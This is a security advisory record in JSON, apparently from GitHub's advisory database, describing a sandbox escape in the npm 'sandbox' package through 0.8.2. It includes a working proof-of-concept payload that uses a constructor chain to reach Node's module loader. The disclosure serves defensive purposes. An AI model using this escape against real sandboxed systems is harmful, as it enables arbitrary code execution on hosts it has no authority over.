{"id":"GHSA-fm4j-4xhm-xpwx","summary":"Sandbox Breakout / Arbitrary Code Execution in sandbox","details":"All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","modified":"2026-02-03T17:47:49.048558Z","published":"2020-09-02T15:51:34Z","database_specific":{"github_reviewed_at":"2020-08-31T18:34:58Z","nvd_published_at":null,"cwe_ids":[],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/gf3/sandbox/issues/50"},{"type":"WEB","url":"https://www.npmjs.com/advisories/766"}],"affected":[{"package":{"name":"sandbox","ecosystem":"npm","purl":"pkg:npm/sandbox"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c 1.0.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-fm4j-4xhm-xpwx/GHSA-fm4j-4xhm-xpwx.json"}}],"schema_version":"1.9.0"}